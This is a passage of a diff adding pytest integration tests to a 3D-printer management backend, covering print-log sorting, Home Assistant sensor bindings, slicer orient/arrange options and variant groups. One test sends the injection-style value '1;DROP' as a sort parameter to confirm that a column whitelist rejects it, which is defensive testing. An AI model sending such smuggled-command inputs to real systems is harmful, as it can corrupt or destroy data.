+                cost=row.get("cost"),
+                energy_kwh=row.get("kwh"),
+            )
+            db_session.add(entry)
+            created.append(entry)
+        await db_session.commit()
+        return created
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_sorts_by_filament_used_in_both_directions(
+        self, async_client: AsyncClient, printer_factory, db_session
+    ):
+        printer = await printer_factory()
+        await self._seed(
+            db_session,
+            printer.id,
+            [{"grams": 5.0}, {"grams": 120.0}, {"grams": 30.0}],
+        )
+
+        asc = await async_client.get("/api/v1/print-log/?sort_by=filament_used&sort_dir=asc")
+        assert asc.status_code == 200
+        assert [e["filament_used_grams"] for e in asc.json()["items"]] == [5.0, 30.0, 120.0]
+
+        desc = await async_client.get("/api/v1/print-log/?sort_by=filament_used&sort_dir=desc")
+        assert [e["filament_used_grams"] for e in desc.json()["items"]] == [120.0, 30.0, 5.0]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_empty_values_sort_last_whichever_direction(
+        self, async_client: AsyncClient, printer_factory, db_session
+    ):
+        """Cost is NULL until a spool is priced and energy until a smart plug
+        reports, so these columns are half-empty for most people. Postgres
+        sorts NULLs high and SQLite sorts them low, so without an explicit
+        NULLS LAST the same click gives a different first page depending on
+        which database the user deployed — and on one of them, a screenful
+        of blanks."""
+        printer = await printer_factory()
+        await self._seed(
+            db_session,
+            printer.id,
+            [{"cost": None}, {"cost": 2.5}, {"cost": None}, {"cost": 0.75}],
+        )
+
+        for direction, expected in (("asc", [0.75, 2.5]), ("desc", [2.5, 0.75])):
+            resp = await async_client.get(f"/api/v1/print-log/?sort_by=cost&sort_dir={direction}")
+            costs = [e["cost"] for e in resp.json()["items"]]
+            assert costs[:2] == expected, (direction, costs)
+            assert costs[2:] == [None, None], (direction, costs)
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_ties_are_broken_stably_across_pages(self, async_client: AsyncClient, printer_factory, db_session):
+        """Sorting by a column where every row shares a value (status) leaves
+        the order to the planner unless a tiebreaker is added — and an
+        unstable order can show the same row on two pages while another never
+        appears at all."""
+        printer = await printer_factory()
+        await self._seed(db_session, printer.id, [{"status": "completed"} for _ in range(6)])
+
+        first = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=0")
+        second = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=3")
+        page_1 = [e["id"] for e in first.json()["items"]]
+        page_2 = [e["id"] for e in second.json()["items"]]
+
+        assert len(set(page_1) & set(page_2)) == 0, "a row appeared on both pages"
+        assert len(set(page_1) | set(page_2)) == 6, "a row was never returned"
+        # Repeating the same request must give the same page back.
+        again = await async_client.get("/api/v1/print-log/?sort_by=status&sort_dir=asc&limit=3&offset=0")
+        assert [e["id"] for e in again.json()["items"]] == page_1
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unknown_sort_column_is_rejected(self, async_client: AsyncClient):
+        """The client picks the sort key, so the column list is a whitelist —
+        anything else would let a request order by any attribute it can name."""
+        resp = await async_client.get("/api/v1/print-log/?sort_by=created_by_id")
+        assert resp.status_code == 400
+        resp = await async_client.get("/api/v1/print-log/?sort_by=1;DROP")
+        assert resp.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_invalid_direction_is_rejected(self, async_client: AsyncClient):
+        resp = await async_client.get("/api/v1/print-log/?sort_by=date&sort_dir=sideways")
+        assert resp.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_defaults_to_newest_first(self, async_client: AsyncClient, printer_factory, db_session):
+        """No sort params — the pre-#2636 behaviour, which existing clients
+        and the first page load both rely on."""
+        printer = await printer_factory()
+        await self._seed(db_session, printer.id, [{"print_name": "oldest"}, {"print_name": "newest"}])
+
+        resp = await async_client.get("/api/v1/print-log/")
+        assert [e["print_name"] for e in resp.json()["items"]] == ["newest", "oldest"]

+ 317 - 0
backend/tests/integration/test_ha_sensors_api_1148.py

@@ -0,0 +1,317 @@
+"""Integration tests for the printer-bound Home Assistant sensor API (#1148)."""
+
+from unittest.mock import AsyncMock, patch
+
+import pytest
+from httpx import AsyncClient
+
+from backend.app.services.ha_sensor_manager import SensorReading, ha_sensor_manager
+
+DOOR = {
+    "name": "Enclosure Door",
+    "entity_id": "binary_sensor.enclosure_door",
+    "kind": "binary",
+    "device_class": "door",
+    "alert_state": "on",
+}
+TEMP = {
+    "name": "Enclosure Temp",
+    "entity_id": "sensor.enclosure_temp",
+    "kind": "numeric",
+    "device_class": "temperature",
+    "unit": "°C",
+}
+
+
+@pytest.fixture(autouse=True)
+def _no_live_ha():
+    """Creating or editing a sensor reads it once; keep that off the network."""
+    with patch.object(ha_sensor_manager, "refresh_one", AsyncMock()):
+        yield
+
+
+@pytest.fixture(autouse=True)
+def _clean_cache():
+    yield
+    ha_sensor_manager._readings.clear()
+    ha_sensor_manager._last_alerting.clear()
+
+
+class TestCrud:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_bind_a_door_contact(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+
+        response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        assert response.status_code == 200
+        body = response.json()
+        assert body["entity_id"] == "binary_sensor.enclosure_door"
+        assert body["kind"] == "binary"
+        assert body["show_on_printer_card"] is True
+        # Display-only until the user opts in.
+        assert body["block_print"] is False
+        assert body["notify_on_alert"] is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_switch(self, async_client: AsyncClient, printer_factory):
+        """Switches are smart plugs; this table is read-only sensors."""
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "entity_id": "switch.printer_plug"},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_kind_that_contradicts_the_entity(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "kind": "binary"},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_an_interlock_with_nothing_to_trigger_on(self, async_client: AsyncClient, printer_factory):
+        """block_print without an alert condition would never fire — that reads
+        as a broken setting, not as a no-op."""
+        printer = await printer_factory()
+
+        response = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "alert_state": None, "block_print": True},
+        )
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_duplicate_binding(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        payload = {**DOOR, "printer_id": printer.id}
+        await async_client.post("/api/v1/ha-sensors/", json=payload)
+
+        response = await async_client.post("/api/v1/ha-sensors/", json=payload)
+
+        assert response.status_code == 400
+        assert "already bound" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_an_unknown_printer(self, async_client: AsyncClient):
+        response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": 9999})
+
+        assert response.status_code == 404
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_revalidates_against_the_stored_row(self, async_client: AsyncClient, printer_factory):
+        """The payload carries only block_print, so the coherence rule has to be
+        re-run against the merged row, not against the patch alone."""
+        printer = await printer_factory()
+        created = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "alert_state": None},
+        )
+        sensor_id = created.json()["id"]
+
+        response = await async_client.patch(f"/api/v1/ha-sensors/{sensor_id}", json={"block_print": True})
+
+        assert response.status_code == 422
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_accepts_a_coherent_change(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        sensor_id = created.json()["id"]
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{sensor_id}",
+            json={"block_print": True, "notify_on_alert": True, "name": "Front Door"},
+        )
+
+        assert response.status_code == 200
+        assert response.json()["block_print"] is True
+        assert response.json()["name"] == "Front Door"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_delete_drops_the_cached_reading(self, async_client: AsyncClient, printer_factory):
+        """Otherwise a later sensor reusing the id inherits this one's state."""
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        sensor_id = created.json()["id"]
+        ha_sensor_manager._readings[sensor_id] = SensorReading("on", None, True, True)
+
+        response = await async_client.delete(f"/api/v1/ha-sensors/{sensor_id}")
+
+        assert response.status_code == 200
+        assert ha_sensor_manager.get_reading(sensor_id) is None
+
+
+class TestReadings:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_serves_the_cached_reading(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        created = await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "alert_above": 35},
+        )
+        sensor_id = created.json()["id"]
+        ha_sensor_manager._readings[sensor_id] = SensorReading("41.2", 41.2, True, True)
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert response.status_code == 200
+        reading = response.json()[0]
+        assert reading["value"] == 41.2
+        assert reading["alerting"] is True
+        assert reading["unit"] == "°C"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unpolled_sensor_reports_unreachable_not_missing(self, async_client: AsyncClient, printer_factory):
+        """Right after a restart the card should still list the sensor, greyed
+        out — not drop it and reflow the layout."""
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert len(response.json()) == 1
+        assert response.json()[0]["reachable"] is False
+        assert response.json()[0]["alerting"] is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_hidden_sensors_stay_off_the_card(self, async_client: AsyncClient, printer_factory):
+        """An interlock the user does not want cluttering the card still works."""
+        printer = await printer_factory()
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "show_on_printer_card": False},
+        )
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert response.json() == []
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_readings_follow_sort_order(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**TEMP, "printer_id": printer.id, "sort_order": 2},
+        )
+        await async_client.post(
+            "/api/v1/ha-sensors/",
+            json={**DOOR, "printer_id": printer.id, "sort_order": 1},
+        )
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{printer.id}/readings")
+
+        assert [r["name"] for r in response.json()] == ["Enclosure Door", "Enclosure Temp"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_other_printers_sensors_are_not_listed(self, async_client: AsyncClient, printer_factory):
+        one = await printer_factory()
+        two = await printer_factory(serial_number="OTHER123", name="Second")
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": one.id})
+
+        response = await async_client.get(f"/api/v1/ha-sensors/by-printer/{two.id}/readings")
+
+        assert response.json() == []
+
+
+class TestEntityPicker:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_explains_itself_when_ha_is_not_configured(self, async_client: AsyncClient):
+        response = await async_client.get("/api/v1/ha-sensors/entities")
+
+        assert response.status_code == 400
+        assert "Home Assistant not configured" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_entities_is_not_parsed_as_a_sensor_id(self, async_client: AsyncClient):
+        """Route ordering regression: /entities must not hit /{sensor_id}."""
+        response = await async_client.get("/api/v1/ha-sensors/entities")
+
+        assert response.status_code != 404
+
+
+class TestCascadeAndUniqueness:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_cannot_create_a_duplicate_binding(self, async_client: AsyncClient, printer_factory):
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+        second = await async_client.post("/api/v1/ha-sensors/", json={**TEMP, "printer_id": printer.id})
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{second.json()['id']}",
+            json={"entity_id": DOOR["entity_id"], "kind": "binary"},
+        )
+
+        assert response.status_code == 400
+        assert "already bound" in response.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_patch_to_the_same_entity_is_not_a_clash_with_itself(
+        self, async_client: AsyncClient, printer_factory
+    ):
+        printer = await printer_factory()
+        created = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        response = await async_client.patch(
+            f"/api/v1/ha-sensors/{created.json()['id']}",
+            json={"entity_id": DOOR["entity_id"], "name": "Front Door"},
+        )
+
+        assert response.status_code == 200
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_a_printer_takes_its_sensors(self, async_client: AsyncClient, printer_factory):
+        """The relationship cascades, so no orphan row is left holding a
+        printer_id that no longer resolves."""
+        printer = await printer_factory()
+        await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        deleted = await async_client.delete(f"/api/v1/printers/{printer.id}")
+
+        assert deleted.status_code == 200
+        listed = await async_client.get("/api/v1/ha-sensors/")
+        assert listed.json() == []
+
+
+class TestSaveSurvivesHomeAssistant:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_create_succeeds_even_if_the_first_read_blows_up(self, async_client: AsyncClient, printer_factory):
+        """The row is committed before the read. Reporting a failure for work
+        that succeeded would send the user into a retry that 400s on the
+        duplicate they just created."""
+        printer = await printer_factory()
+
+        with patch.object(ha_sensor_manager, "refresh_one", AsyncMock(side_effect=RuntimeError("HA said no"))):
+            response = await async_client.post("/api/v1/ha-sensors/", json={**DOOR, "printer_id": printer.id})
+
+        assert response.status_code == 200
+        listed = await async_client.get(f"/api/v1/ha-sensors/?printer_id={printer.id}")
+        assert len(listed.json()) == 1

+ 354 - 0
backend/tests/integration/test_library_slice_api.py

@@ -334,6 +334,82 @@ class TestSliceLibraryFile:
             "bed_type must stay out of the process JSON when no override is set"
         )
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_auto_orient_and_arrange_reach_the_sidecar(self, async_client: AsyncClient, slice_test_setup):
+        """#2548: the two layout passes are per-slice options, so ticking
+        them in the SliceModal has to come out the other end as the
+        sidecar's ``orient`` / ``arrange`` form fields. Before this the
+        flags existed on the wire but only #1493's cross-class detector
+        could set arrange, and nothing at all could set orient."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=_make_3mf_with_settings(),
+                headers={
+                    "x-print-time-seconds": "10",
+                    "x-filament-used-g": "0.1",
+                    "x-filament-used-mm": "1.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+        response = await async_client.post(
+            f"/api/v1/library/files/{slice_test_setup['src_file_id']}/slice",
+            json={
+                "printer_preset_id": slice_test_setup["printer_id"],
+                "process_preset_id": slice_test_setup["process_id"],
+                "filament_preset_id": slice_test_setup["filament_id"],
+                "auto_orient": True,
+                "auto_arrange": True,
+            },
+        )
+        assert response.status_code == 202
+        final = await _wait_for_job(async_client, response.json()["job_id"])
+        assert final["status"] == "completed", final
+
+        assert b'name="orient"' in captured["body"]
+        assert b'name="arrange"' in captured["body"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_layout_flags_absent_by_default(self, async_client: AsyncClient, slice_test_setup):
+        """Companion to the above. Both default to off, and off is expressed
+        by omitting the field — the sidecar reads any present value as
+        truthy, so a "false" on the wire would auto-arrange every slice."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=_make_3mf_with_settings(),
+                headers={
+                    "x-print-time-seconds": "10",
+                    "x-filament-used-g": "0.1",
+                    "x-filament-used-mm": "1.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+        response = await async_client.post(
+            f"/api/v1/library/files/{slice_test_setup['src_file_id']}/slice",
+            json={
+                "printer_preset_id": slice_test_setup["printer_id"],
+                "process_preset_id": slice_test_setup["process_id"],
+                "filament_preset_id": slice_test_setup["filament_id"],
+            },
+        )
+        assert response.status_code == 202
+        final = await _wait_for_job(async_client, response.json()["job_id"])
+        assert final["status"] == "completed", final
+
+        assert b'name="orient"' not in captured["body"]
+        assert b'name="arrange"' not in captured["body"]
+
     @pytest.mark.asyncio
     @pytest.mark.integration
     async def test_invalid_preset_id_surfaces_as_failed_job_with_status_400(
@@ -864,6 +940,284 @@ class TestCrossClassSliceAllLoop:
         assert new_archive.print_time_seconds == 600 * 3
         assert new_archive.filament_used_grams == pytest.approx(5.0 * 3)
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_user_requested_arrange_also_loops_per_plate(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """#2548 inherits #1493's hazard. The per-plate loop exists because
+        ``--arrange`` is project-wide: a single ``--slice 0 --arrange 1``
+        collapses every plate's objects onto one bed. That is a property of
+        the flag, not of the cross-class detour that first needed it — so a
+        user ticking auto-arrange over "all plates" on a SAME-class source
+        must take the same loop. Keying the loop on the cross-class decision
+        alone would send one call and silently return a one-plate result.
+        """
+        from backend.app.models.archive import PrintArchive
+
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_same_class"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "tray.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=2))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="tray.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        # X1C target: same nozzle class as the X1C source, so #1493's
+        # detector stays off and only the user's flag is in play.
+        x1c = LocalPreset(
+            name="# Bambu Lab X1 Carbon 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab X1 Carbon 0.4 nozzle", "printer_model": "Bambu Lab X1 Carbon"}),
+        )
+        db_session.add(x1c)
+        await db_session.commit()
+        await db_session.refresh(x1c)
+
+        captured_requests: list[dict] = []
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            body = request.content
+            plate = None
+            marker = b'name="plate"\r\n\r\n'
+            idx = body.find(marker)
+            if idx != -1:
+                start = idx + len(marker)
+                end = body.find(b"\r\n", start)
+                try:
+                    plate = int(body[start:end].decode("utf-8"))
+                except (UnicodeDecodeError, ValueError):
+                    plate = None
+            captured_requests.append(
+                {
+                    "plate": plate,
+                    "arrange": b'name="arrange"' in body,
+                    "orient": b'name="orient"' in body,
+                }
+            )
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(plate or 1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(x1c.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 0,
+                "auto_arrange": True,
+                "auto_orient": True,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert [c["plate"] for c in captured_requests] == [1, 2]
+        assert all(c["arrange"] for c in captured_requests)
+        # Orient rides along on every sub-slice too — it is per-object, so
+        # dropping it on the loop path would quietly ignore the user's tick.
+        assert all(c["orient"] for c in captured_requests)
+
+        new_archive = await db_session.get(PrintArchive, final["result"]["archive_id"])
+        with zipfile.ZipFile(tmp_path / new_archive.file_path, "r") as zf:
+            entries = set(zf.namelist())
+        assert "Metadata/plate_1.gcode" in entries
+        assert "Metadata/plate_2.gcode" in entries
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_embedded_settings_slice_all_with_arrange_still_loops(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """ "Slice as designed" must not skip the loop. The project-wide
+        collapse comes from ``--arrange``; where the print config came from
+        has no bearing on it. Taking the single-call embedded branch here
+        would return one consolidated plate for a job the user asked to
+        slice as N — and the per-plate calls must still omit the profile
+        triplet, or "as designed" would silently stop meaning that.
+        """
+        from backend.app.models.archive import PrintArchive
+
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_embedded"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "kit.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=2))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="kit.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        x1c = LocalPreset(
+            name="# Bambu Lab X1 Carbon 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab X1 Carbon 0.4 nozzle", "printer_model": "Bambu Lab X1 Carbon"}),
+        )
+        db_session.add(x1c)
+        await db_session.commit()
+        await db_session.refresh(x1c)
+
+        captured_requests: list[dict] = []
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            body = request.content
+            plate = None
+            marker = b'name="plate"\r\n\r\n'
+            idx = body.find(marker)
+            if idx != -1:
+                start = idx + len(marker)
+                end = body.find(b"\r\n", start)
+                try:
+                    plate = int(body[start:end].decode("utf-8"))
+                except (UnicodeDecodeError, ValueError):
+                    plate = None
+            captured_requests.append(
+                {
+                    "plate": plate,
+                    "arrange": b'name="arrange"' in body,
+                    "has_profiles": b'name="printerProfile"' in body,
+                }
+            )
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(plate or 1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(x1c.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 0,
+                "use_embedded_settings": True,
+                "auto_arrange": True,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert [c["plate"] for c in captured_requests] == [1, 2]
+        assert all(c["arrange"] for c in captured_requests)
+        # No --load-settings on any sub-call: the file's own settings drive
+        # each plate, which is what "slice as designed" promises.
+        assert not any(c["has_profiles"] for c in captured_requests)
+        assert final["result"]["used_embedded_settings"] is True
+
+        new_archive = await db_session.get(PrintArchive, final["result"]["archive_id"])
+        with zipfile.ZipFile(tmp_path / new_archive.file_path, "r") as zf:
+            entries = set(zf.namelist())
+        assert "Metadata/plate_1.gcode" in entries
+        assert "Metadata/plate_2.gcode" in entries
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_cross_class_arrange_survives_user_leaving_the_box_unticked(
+        self, async_client: AsyncClient, db_session, slice_test_setup, printer_factory, archive_factory, monkeypatch
+    ):
+        """The user's per-slice choice is a union with #1493's decision, not
+        a replacement for it. Arrange is what keeps a class-crossing slice
+        from landing in the target's dead zone or segfaulting ZFiller — so
+        the default-false ``auto_arrange`` must not be able to turn it off.
+        """
+        tmp_path = slice_test_setup["tmp_path"]
+        monkeypatch.setattr(app_settings, "archive_dir", tmp_path / "archive")
+
+        src_dir = tmp_path / "archives" / "src_cross_single"
+        src_dir.mkdir(parents=True, exist_ok=True)
+        src_3mf = src_dir / "clip.3mf"
+        src_3mf.write_bytes(self._make_multi_plate_x1c_source(plate_count=1))
+        printer = await printer_factory()
+        source = await archive_factory(
+            printer.id,
+            filename="clip.3mf",
+            file_path=str(src_3mf.relative_to(tmp_path)),
+            sliced_for_model="X1C",
+            with_run=False,
+        )
+
+        h2d = LocalPreset(
+            name="# Bambu Lab H2D 0.4 nozzle",
+            preset_type="printer",
+            source="orcaslicer",
+            setting=json.dumps({"name": "Bambu Lab H2D 0.4 nozzle", "printer_model": "Bambu Lab H2D"}),
+        )
+        db_session.add(h2d)
+        await db_session.commit()
+        await db_session.refresh(h2d)
+
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            if not _is_slice_post(request):
+                return httpx.Response(404)
+            captured["body"] = bytes(request.content)
+            return httpx.Response(
+                status_code=200,
+                content=self._make_single_plate_sliced_output(1),
+                headers={
+                    "x-print-time-seconds": "300",
+                    "x-filament-used-g": "2.0",
+                    "x-filament-used-mm": "800.0",
+                },
+            )
+
+        _install_mock_sidecar(handler)
+
+        resp = await async_client.post(
+            f"/api/v1/archives/{source.id}/slice",
+            json={
+                "printer_preset": {"source": "local", "id": str(h2d.id)},
+                "process_preset": {"source": "local", "id": str(slice_test_setup["process_id"])},
+                "filament_presets": [{"source": "local", "id": str(slice_test_setup["filament_id"])}],
+                "plate": 1,
+                "auto_arrange": False,
+            },
+        )
+        assert resp.status_code == 202, resp.text
+        final = await _wait_for_job(async_client, resp.json()["job_id"], timeout=15.0)
+        assert final["status"] == "completed", final
+
+        assert b'name="arrange"' in captured["body"], "cross-class arrange must survive an explicit auto_arrange=false"
+
 
 class TestSliceArchiveResliceModel:
     """Re-slicing an archive for a different printer must stamp the new

+ 246 - 0
backend/tests/integration/test_library_variants_api.py

@@ -0,0 +1,246 @@
+"""Integration tests for variant groups (#671 / #2570).
+
+A variant group is the user declaring that several sliced files are the same
+job for different printers. The endpoints exist to enforce what that statement
+has to mean before the scheduler acts on it without a human in the loop.
+"""
+
+import pytest
+from httpx import AsyncClient
+
+
+@pytest.fixture
+async def sliced_file_factory(db_session):
+    """Create a sliced library file declaring the model it was sliced for."""
+    _counter = [0]
+
+    async def _create(model: str | None = "H2S", **kwargs):
+        from backend.app.models.library import LibraryFile
+
+        _counter[0] += 1
+        defaults = {
+            "filename": f"job_{_counter[0]}.gcode.3mf",
+            "file_path": f"/test/job_{_counter[0]}.gcode.3mf",
+            "file_size": 100,
+            "file_type": "gcode.3mf",
+            "file_metadata": {"sliced_for_model": model} if model else {},
+        }
+        defaults.update(kwargs)
+        f = LibraryFile(**defaults)
+        db_session.add(f)
+        await db_session.commit()
+        await db_session.refresh(f)
+        return f
+
+    return _create
+
+
+async def _create_group(client: AsyncClient, *file_ids: int, name: str | None = None):
+    payload = {"members": [{"library_file_id": fid} for fid in file_ids]}
+    if name:
+        payload["name"] = name
+    return await client.post("/api/v1/library/variant-groups", json=payload)
+
+
+class TestCreateVariantGroup:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_groups_two_slices_in_priority_order(self, async_client, sliced_file_factory):
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _create_group(async_client, h2s.id, h2c.id, name="bracket")
+        assert r.status_code == 201
+        body = r.json()
+        assert body["name"] == "bracket"
+        assert [m["target_model"] for m in body["members"]] == ["H2S", "H2C"]
+        assert [m["position"] for m in body["members"]] == [0, 1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_model_is_read_from_the_file_not_the_caller(self, async_client, sliced_file_factory):
+        """The group never carries its own model data, so it cannot disagree with
+        the 3MFs. "Bambu Lab H2S" normalizes to the same H2S the scheduler matches."""
+        a = await sliced_file_factory("Bambu Lab H2S")
+        b = await sliced_file_factory("O1C")  # internal code for H2C
+
+        body = (await _create_group(async_client, a.id, b.id)).json()
+        assert [m["target_model"] for m in body["members"]] == ["H2S", "H2C"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_two_slices_for_the_same_printer_are_rejected(self, async_client, sliced_file_factory):
+        """Not alternatives — the resolver would have no basis to prefer one, and
+        the arbitrary pick would look like a bug the first time it chose wrong."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2S")
+
+        r = await _create_group(async_client, a.id, b.id)
+        assert r.status_code == 400
+        assert "different printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_normalization_catches_the_same_printer_spelled_differently(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("Bambu Lab H2S")
+
+        r = await _create_group(async_client, a.id, b.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
